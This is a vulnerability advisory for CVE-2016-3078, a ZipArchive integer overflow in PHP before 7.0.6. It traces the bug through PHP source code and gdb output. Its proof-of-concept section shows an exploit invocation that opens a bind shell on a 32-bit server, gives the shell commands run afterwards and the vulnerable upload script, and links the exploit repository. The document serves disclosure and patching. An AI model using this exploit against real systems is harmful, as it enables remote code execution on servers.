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CVE-2016-3078: php: integer overflow in ZipArchive::getFrom*

Details

An integer wrap may occur in PHP 7.x before version 7.0.6 when reading zip files with the getFromIndex() and getFromName() methods of ZipArchive, resulting in a heap overflow.

php-7.0.5/ext/zip/php_zip.c

2679 static void php_zip_get_from(INTERNAL_FUNCTION_PARAMETERS, int type) /* {{{ */
2680 {
....
2684     struct zip_stat sb;
....
2689     zend_long len = 0;
....
2692     zend_string *buffer;
....
2702     if (type == 1) {
2703         if (zend_parse_parameters(ZEND_NUM_ARGS(), "P|ll", &filename, &len, &flags) == FAILURE) {
2704             return;
2705         }
2706         PHP_ZIP_STAT_PATH(intern, ZSTR_VAL(filename), ZSTR_LEN(filename), flags, sb);  // (ref:1)
2707     } else {
2708         if (zend_parse_parameters(ZEND_NUM_ARGS(), "l|ll", &index, &len, &flags) == FAILURE) {
2709             return;
2710         }
2711         PHP_ZIP_STAT_INDEX(intern, index, 0, sb);                                      // (ref:1)
2712     }
....
2718     if (len < 1) {
2719         len = sb.size;
2720     }
....
2731     buffer = zend_string_alloc(len, 0);                                                // (ref:2)
2732     n = zip_fread(zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer));                             // (ref:3)
....
2742 }

With sb.size from ((1)) being:

php-7.0.5/ext/zip/lib/zip_stat_index.c

038 ZIP_EXTERN int
039 zip_stat_index(zip_t *za, zip_uint64_t index, zip_flags_t flags,
040                zip_stat_t *st)
041 {
...
043     zip_dirent_t *de;
044
045     if ((de=_zip_get_dirent(za, index, flags, NULL)) == NULL)
046         return -1;
...
063         st->size = de->uncomp_size;
...
086 }

Both size and uncomp_size are unsigned 64bit integers:

php-7.0.5/ext/zip/lib/zipint.h

339 struct zip_dirent {
...
351     zip_uint64_t uncomp_size;        /* (cl) size of uncompressed data */
...
332 };

php-7.0.5/ext/zip/lib/zip.h

279 struct zip_stat {
...
283     zip_uint64_t size;            /* size of file (uncompressed) */
...
290 };

Whereas len is signed and has a platform-dependent size:

php-7.0.5/Zend/zend_long.h

028 #if defined(__x86_64__) || defined(__LP64__) || defined(_LP64) || defined(_WIN64)
029 # define ZEND_ENABLE_ZVAL_LONG64 1
030 #endif
...
033 #ifdef ZEND_ENABLE_ZVAL_LONG64
034 typedef int64_t zend_long;
...
043 #else
044 typedef int32_t zend_long;
...
053 #endif

Uncompressed file sizes in zip-archives may be specified as either 32- or 64bit values; with the latter requiring that the size be specified in the extra field in zip64 mode.

Anyway, as for the invocation of zend_string_alloc() in ((2)):

php-7.0.5/Zend/zend_string.h

119 static zend_always_inline zend_string *zend_string_alloc(size_t len, int persistent)
120 {
121     zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent); // (ref:4)
...
133     ZSTR_LEN(ret) = len;                                                                                  // (ref:5)
134     return ret;
135 }

The size argument to the pemalloc macro is aligned/adjusted in ((4)) whilst the original value of len is stored as the size of the allocated buffer in ((5)). No boundary checking is done in ((4)) and it may thus wrap, which would lead to a heap overflow during the invocation of zip_fread() in ((3)) as the toread argument is ZSTR_LEN(buffer):

php-7.0.5/Zend/zend_string.h

041 #define ZSTR_LEN(zstr)  (zstr)->len

On a 32bit system:

(gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0xfffffffe))
$1 = 0x10

The wraparound may also occur on 64bit systems with uncomp_size specified in the extra field (Zip64 mode; ext/zip/lib/zip_dirent.c:463). However, it won’t result in a buffer overflow because of zip_fread() bailing on a size that would have wrapped the allocation in ((4)):

php-7.0.5/ext/zip/lib/zip_fread.c

038 ZIP_EXTERN zip_int64_t
039 zip_fread(zip_file_t *zf, void *outbuf, zip_uint64_t toread)
040 {
...
049     if (toread > ZIP_INT64_MAX) {
050         zip_error_set(&zf->error, ZIP_ER_INVAL, 0);
051         return -1;
052     }
...
063 }

php-7.0.5/ext/zip/lib/zipconf.h

130 #define ZIP_INT64_MAX     0x7fffffffffffffffLL
(gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0x7fffffffffffffff))
$1 = 0x8000000000000018

PoC

Against Arch Linux i686 with php-fpm 7.0.5 behind nginx [1]:

$ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
[*] this may take a while
[*] 103 of 4096 (0x67fd0)...
[+] connected to 1.2.3.4:5555

id
uid=33(http) gid=33(http) groups=33(http)

uname -a
Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST
2016 i686 GNU/Linux

pacman -Qs php-fpm
local/php-fpm 7.0.5-2
    FastCGI Process Manager for PHP

cat upload.php
<?php
$zip = new ZipArchive();
if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
    echo "cannot open archive\n";
} else {
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $data = $zip->getFromIndex($i);
    }
    $zip->close();
}
?>

Solution

This issue has been fixed in php 7.0.6.

Footnotes

[1] https://github.com/dyntopia/exploits/tree/master/CVE-2016-3078